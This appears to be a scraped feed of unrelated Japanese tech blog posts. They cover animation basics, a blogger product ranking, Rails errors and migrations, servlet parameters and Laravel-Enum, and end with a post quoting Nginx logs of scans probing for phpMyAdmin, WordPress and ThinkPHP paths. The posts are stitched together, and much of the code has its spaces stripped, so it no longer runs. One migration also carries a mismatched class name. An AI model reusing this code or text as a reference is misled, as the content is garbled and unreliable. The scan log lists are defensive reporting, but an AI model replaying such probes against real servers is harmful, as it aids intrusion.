この記事は超初心者向けなのでアニメーションの作り方ではなく、アニメーションの構造について説明したいと思います。

アニメーションについて

みなさんはパラパラ漫画を描いたことはありますか?
パラパラ漫画とは少し違った複数枚の絵を高速でめくることで実際動いてるように見せるものです。
IMG_9854.PNG

実はアニメーションとはそのパラパラ漫画のようなものなのです。
実際には動いていないけど、複数枚のイラストを交互に見せることによって動いてるように見えています。

ではこれが実際どのような感じなのか、例を追って見ていきましょう。

(例)風船が浮いているように見せたい時

まず風船の画像を用意します。
IMG_9855.JPG

これだけだとただの風船ですよね。

では少し位置の違った風船の画像二枚を用意します。

IMG_9857.JPG
IMG_9856.JPG

この二枚を交互に表示すると、、

IMG_9858.GIF

こんな感じに!少しぎこちないですが画像の位置が変わっていないにも関わらずプカプカ浮いているように見えます。

このように、画像を重ねることで実際にその動きをしているように見せるのがアニメーションという機能です。
もしマリオに歩くアニメーションがなかったら、マリオがただ平行移動しているだけに見えます。

動きを付け加えたい場合

例えばプカプカ浮いている風船に、割れるという動きを付け加えたいとします。
その場合、プカプカ浮いているアニメーションと、風船が割れるアニメーションの二つを用意しなければなりません。その場合

『もし風船に物が当たったら、プカプカのアニメーションから割れるアニメーションに移行する』という台本を書けば思い通りの動きになるかと思います。

マリオでも、『Aを押したらジャンプ』の動作になりますよね。この場合のアニメーションも
『Aを押したら、歩くアニメーションからジャンプのアニメーションに変更』という台本が実行されているわけですね!
IMG_9863.JPG

終わりに

アニメーション編いかがでしたでしょうか?
次回は何を書こうか悩み中です、、

『メイドイン「俺」』についてのサイトはこちらから。

ブロガーの買ってよかったものを集計してランキング化したら本当にいいモノが見つかった

$
0
0

動機

ジャバ・ザ・ハットリ(@jabba )さんの技術書ランキングサイトをQiita記事の集計から作ったら、約4000冊の技術本がいい感じに並んだがとても面白かった。

特に面白く感じたのは「意見を集めてランキング形式に整える」と、良いモノはちゃんと上位に入ってくるところ。

この「意見を集めてランキング形式に整える」をブロガーの買ってよかったもの紹介記事に応用したら、紹介頻度の高い本当にいいものが見つかるのでは?

最近はAmazonのレビューもサクラコメントで溢れがちで、本当に良いものを見つけるのが難しくなっている世の中に多少のニーズはあるのでは?

と思ったのが今回のそもそもの動機。

作ってみた

実際にブロガーの買ってよかったもの紹介記事から紹介商品を集計してランキング形式で並べたのがこちら。

ブロガー買ってよかったものランキング|グッドグッズランク

この記事を書いている時点での上位5つのアイテムを試しに抜粋してみると以下の通りで、名実ともに良いものが並んだ。

1. Anker PowerCore Fusion 5000
2. Apple AirPods Pro
3. Fire TV Stick 4K
4. Fire TV Stick
5. ロジクール ワイヤレスマウス トラックボール 無線 M570t

1,4,5は私も実際に持っているので、「私ってモノを見る目あるのかも?」と勝手に錯覚するところだった。

このようにみんなから支持されているいいモノを確認できるだけでなく、後述するように隠れ良品や感性の近いブロガーに出会えるページになった。

気に入っているところ1:隠れ良品に出会える

上位にランクインしている評判になっているモノをチェックするのも面白いのだけど、個人的には30位以降に載っているモノを見るのがとてもおもしろい。

たとえばこのダンボールストッカー。

hidden_goods.png

6000件弱ある買ってよかったもの記事でたった4件でしか同じ商品を紹介していないので、目的なく検索しないと出会えない隠れ良品と言ってもよさそう。

こんな感じで今まで知らなかった隠れ良品に出会える。

気に入っているところ2:感性の近いブロガーに出会える

グッドグッズランクではランクインしている商品の紹介記事も併せて表示している。

blogger.png

商品をキーにして記事を集めているので、記事自体のSEO対策の良し悪しに依らず、平等にみなさんに記事が露出される。

自分の持っている商品を紹介している記事へのアクセスを通して、自分のモノ選びの感性に近いブロガーに出会える機会もあるのも面白いと思っている。

Googleに評価されずネットの海に埋もれている記事でも興味深い記事はたくさんあることがよく分かる。

改善点

Amazon APIを通して各商品のカテゴリデータも集めているので、カテゴリ別に表示しても面白いかな。

買ってよかった記事内でAmazonの商品ページへのリンクなしで紹介している商品はデータベースに登録されていないので、もっと他に隠れ良品がある可能性が残っている。

逆に1つのサイトの複数記事で紹介されている商品がランクインしている問題もある。それだけ推したいってことだからそのままにするか悩んでいる。

こうしたらもっと面白いかも等のご意見等がありましたらぜひコメントにてお知らせください。

ブロガー買ってよかったものランキング|グッドグッズランク

グッドグッズランクに使った技術

Python
React (Gatsby)
GraphQL
MongoDB
Netlify

【Rails6】gem `rails-erd`を使おうとしたらエラー`Warning: Ignoring invalid association`

$
0
0

はじめに

コマンド入力で手軽にER図が出力できるgem rails-erdを使ってみたときに発生した以下エラーについて解決法を記載します。

$ bundle exec erd --filetype=dot

Loading application in'app_name'...
Generating entity-relationship diagram for 1 models...
Warning: Ignoring invalid association :posts on User (model Post exists, but is not included in domain)
Warning: Ignoring invalid association :favorites on User (model Favorite exists, but is not included in domain)
Diagram saved to 'erd.dot'.

※使用説明については公式ドキュメントをご参照下さい。(しばらく更新されてないようです)

環境

OS:macOS Catalina 10.15.1zsh:5.7.1Ruby:2.6.5Rails:6.0.2.1

症状

  • usersテーブル
  • postsテーブル
  • favoritesテーブル

元々は上記のようにモデルが3つあり、メインのusersテーブルにその他2つが関連付けされている状態です。

そのテーブル間の関係をER図で確認したかったのですが、冒頭のエラーが発生し、usersテーブルだけのER図(むしろRelationがないのでE図)が出力される状態。

エラーメッセージ

エラーメッセージを詳しく見ると、ここが問題のようです。(Postモデルで抜粋)

Warning: Ignoring invalid association :posts on User (model Post exists, but is not included in domain)

特に以下が問題。
「Postモデルは存在するけど、ドメインに含まれてないよ!」
と書いています。

model Post exists, but is not included in domain

つまり、どうにかしてドメインに含めてしまえば解決しそうです。

ドメインとは?

自分はインターネット上の住所という認識ばかり持っていましたが、そもそもは領域・定義域という意味です。

つまり、今回はrails-erdが認識してくれる領域に該当モデルが入ってくれていないということになります。

なぜ認識してくれないのでしょう?

結論:解決策

config/environments/development.rb
Rails.application.configuredo#...config.eager_load=true#元はfalse#...end

上記の設定で、無事に全てのモデルが認識され、読み込めるようになります。

理由

こちらの記事より引用させて頂きます。

Railsアプリケーションで、config.eager_load = falseになっていると、そのクラスが存在するか?(定数が存在するか?)を確認しようとしても、クラスにアクセスする前ならばfalseが返ってきます。

どうやらrails-erdが存在確認しようとしても、

config.eager_load=false

だと存在しないよ!と答えてしまい、冒頭のエラーメッセージに繋がってしまうようです。

そのため、

config.eager_load=true

にすると

クラスにアクセスする前から、クラスの存在確認(定数定義の確認)をできるようになっています。

ということですね。

それぞれの挙動の違いもわかりやすく書かれていた記事だったので、ご興味ある方はご確認下さい。
助かりました:bow_tone1:

おわりに

最後まで読んで頂きありがとうございました:bow_tone1:

どなたかの参考になれば幸いです:relaxed:

参考にさせて頂いたサイト(いつもありがとうございます)

Rails MySQL データ型をdecimalにしているのに小数点を扱ってくれなくて困った話

$
0
0

目的

  • DBに格納されている数値に少数の値を足そうとして詰まりまくったところをまとめる

困った箇所

  1. viewファイルで表している入力formの少数の値が入力できない。
  2. 入力してDBのカラムに保存しようとしてもカラムに反映されない。saveでのエラーは出ない。
  3. rails consoleで当該カラムに少数を入力しsaveするとDBのカラムに反映されるが、formから少数を入力しても足し算されない、整数の足し算はできる。

「viewファイルで表している入力formの少数の値が入力できない」の解決方法

「入力してDBのカラムに保存しようとしてもカラムに反映されない。saveでのエラーは出ない。」の原因と解決方法

調査と原因

  • 数値を保存するカラムstady_timeのデータ型は少数を扱うためにdecimalにしている。
  • 下記にカラムstady_timeを作成したときのマイグレーションファイルを下記に記載する。
classAddStudyTimeHashTagToPosts<ActiveRecord::Migration[6.0]defchangeadd_column:posts,:study_time,"decimal"endend
  • 原因はカラム作成時にデータ型"decimal"を設定するときにオプションで格納する数値の全桁数と少数部分の桁数のを指定する必要があったようである。

解決方法

  • カラムstudy_timeを削除して再度オプション付きで作成し直すか、現在存在するstudy_timeカラムのデー型を設定し直すかの二通りがある。
  • 今回は個人プロダクトであるが、デプロイして使用されているサービスで重要なカラムを一旦削除することはありえないため、データ型を設定し直す方法をとる。
  • 下記の修正を加える

    修正前修正後修正可否
    カラム名study_timestudy_time修正しない
    データ型decimaldecimal修正しない
    データ型のオプション指定なし全桁数12桁 少数点以下桁数2桁修正する
  • 下記にカラムのデータ型設定を修正する手順を記載する。

    1. 下記コマンドを実行してマイグレーションファイル(DBの仕様変更を命令するファイル)を作成する。

      $rails g migration change_study_time
      
    2. db/migrate/に存在するマイグレーションファイル20200112011439_change_study_time.rbに下記の記載を行う(#の行はコメントなので実際はなくても良い)

      classAddPasswordToUsers<ActiveRecord::Migration[6.0]defchange#カラムの変更なのでchenge_column :テーブル名, :カラム名, :データ型, :オプション(数値の全桁数), :オプション(数値の小数点以下の桁数、第二位まで欲しいので2とした)change_column:posts,:study_time,:decimal,precision: 12,scale: 2endend
    3. 下記コマンドを実行してマイグレート(DBにマイグレーションファイル通りの仕様変更を行う命令)を行う。

      $rails db:migrate
      
    4. もしマイグレーションファイルの記載を間違えてマイグレートしてしまったら下記の方法でマイグレート前の状態に戻す。

    5. 下記方法でカラムの方が正常に設定されているか確認する。

rails consoleで当該カラムに少数を入力しsaveするとDBのカラムに反映されるが、formから少数を入力しても足し算されない、整数の足し算はできる。」の原因と解決方法

調査と原因

  • rails consoleでの確認と切り分けにより足し算を行なっているコントローラファイルに問題があると感じた。
  • 少数は表示できるのに足されないということはformから送られてきた値を数値に変換している箇所に間違いがあると予想した。
  • 下記にpostコントローラの当該処理のメソッドを抜粋して記載する。

    defupdate@post=Post.find_by(id: params[:id])@post.study_time+=params[:study_time].to_i@post.saveredirect_to("/posts/#{@post.id}")end
  • params[:study_time]にはフォームで入力した少数値が入っている。.to_iで入力した文字列を数値に変更している。

  • 整数を表現する場合は.to_iでも良いが、少数を扱い際は別の表現にしないといけない。

解決方法

  • コントローラでフォームで入力した値を数値をして扱う処理で整数に変換してしまっているので少数も含む数値に変換してあげる記載をする。
  • .to_i.to_fとする。
  • 下記に正しいコードを記載する。

    defupdate@post=Post.find_by(id: params[:id])@post.study_time+=params[:study_time].to_f@post.saveredirect_to("/posts/#{@post.id}")end

画面遷移せずにHTMLで値を送る方法

$
0
0

画面遷移せずにGETで値を送る方法のメモです。

HTMLで値をGET送信

a href="URL?属性名=変数名"

<body><ahref="TestServlet?action=sample"></a></body>

Javaで値を受け取る

request.getParameter("属性名")
sは文字列「sample」を受け取ります。

protectedvoiddoGet(HttpServletRequestrequest,HttpServletResponseresponse)throwsServletException,IOException{Strings=request.getParameter("action");

Laravel-Enum 導入2

$
0
0

はじめに

前提

Enum ファイルの中身

app/Enum/TestText.php
<?phpnamespaceApp\Enums;finalclassTestTextextendsEnum{constTEST="test";constTEXT="text";}

日本語ファイルの中身

app/resources/lang/ja/enums.php
<?php// php artisan で作成したクラスuseApp\Enums\TestText;return[TestText::class=>[TestText::TEST=>'テスト',TestText::TEXT=>'テキスト',],];

使ってみる

インスタンスを生成して key/ value を取得

// 全体の インスタンスを取得$testText=TestText::getInstances();// 以下のように値が取得できる$testText[TestText::TEST]->key;// TEST $testText[TestText::TEST]->value;// test$testText[TestText::TEST]->description;// テスト
// 指定したキーのインスタンスを取得するTestText::TEST()->key;// TESTTestText::TEST()->value;// testTestText::TEST()->description// テスト

key の一覧を取得する

TestText::getKeys();// return['TEST', 'TEXT'];

value の一覧を取得する

TestText::getValues();// return['test', 'text'];

自前のサーバーでブログを開設した途端、世界中から怪しい攻撃が来た話

$
0
0

はじめに

概要

AWSの個人アカウントでEC2インスタンスを立ち上げて、そこにNginxやCMSを入れて、ブログを開設しました。ドメイン名を取得してIPアドレスとの紐づけ等はしましたが、コンテンツはまだ投稿しておらず、ロクにアクセスも来るはずがありません。

ところが、Nginxのアクセスログを見てみると、作成して1,2日のうちに、世界中から攻撃を試みられていたことがわかりました。ここでは、具体的にどのような攻撃があったのかについてまとめておきます。

サーバーの設定

サーバーは、EC2のt2.mediumのインスタンスです。ミドルウェアとしてはNginxとMySQLを入れていて、CMSとしては、私が苦手なPHPで動くWordpressではなく、Node.jsで動くGhostを入れました。

internet_dos_attack.png

攻撃の内容

以下に攻撃の内容を具体的に記します。大体同じような内容の攻撃的なアクセスが、世界中に散らばった複数地点から来ていました。

DBへの攻撃

ドイツのハンブルグ周辺及び台湾北部から、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:03 +0000] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:06 +0000] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:07 +0000] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:09 +0000] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:11 +0000] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:13 +0000] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:14 +0000] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:16 +0000] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:19 +0000] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /phppma/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:23 +0000] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /program/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:26 +0000] "GET /PMA/index.php?lang=en HTTP/1.1" 404 580 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"

これらのリクエストは、PHPMyAdminの場所を探しているようです。もしも攻撃が成功していたら、DBの内容が抜き取られたり改ざんされたりされていたかもしれません。

幸い私の場合はそもそもPHPMyAdminを入れてないのでこの攻撃には無傷で済んだのですが、もし入れている場合は、このような攻撃にさらされることを前提に、わかりにくい場所に置いておく必要がありそうです。

Wordpressの情報の収集

以下のようなリクエストが、アメリカのGCP上のサーバー及び、イギリスのロンドン周辺のサーバーから届いていました。

xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:04 +0000] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET / HTTP/1.1" 200 22348 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /web/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /website/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /news/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /media/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /site/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:08 +0000] "GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"

'wlwmanifest.xml'というファイルの在りかを、必死に探っているようです。このファイルは、Windows Live Writerというツールの設定ファイルだそうです。このファイルの中身を見られたところで、直接的な被害はないそうなのですが、古いバージョンのWordpressを使っていることが攻撃者に知られていしまい、今後の攻撃の対象になってしまうかもしれません。そのため、現在はWordpressユーザーはこのファイルを隠しておくのがベターとなっているそうです。

フレームワークの脆弱性を狙い撃ち

中国の、テンセントクラウド上で動くサーバーから、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php/ HTTP/1.1" 301 55 "http://yyy.yyy.yyy.yyy/TP/public/index.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /tp/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/public/index.php/""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php/ HTTP/1.1" 301 48 "http://yyy.yyy.yyy.yyy/TP/index.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /tp/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/index.php/""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/thinkphp/html/public/index.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /html/public/index.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/html/public/index.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/public/index.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php/ HTTP/1.1" 301 60 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /tp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php/""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /elrekt.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /elrekt.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/elrekt.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
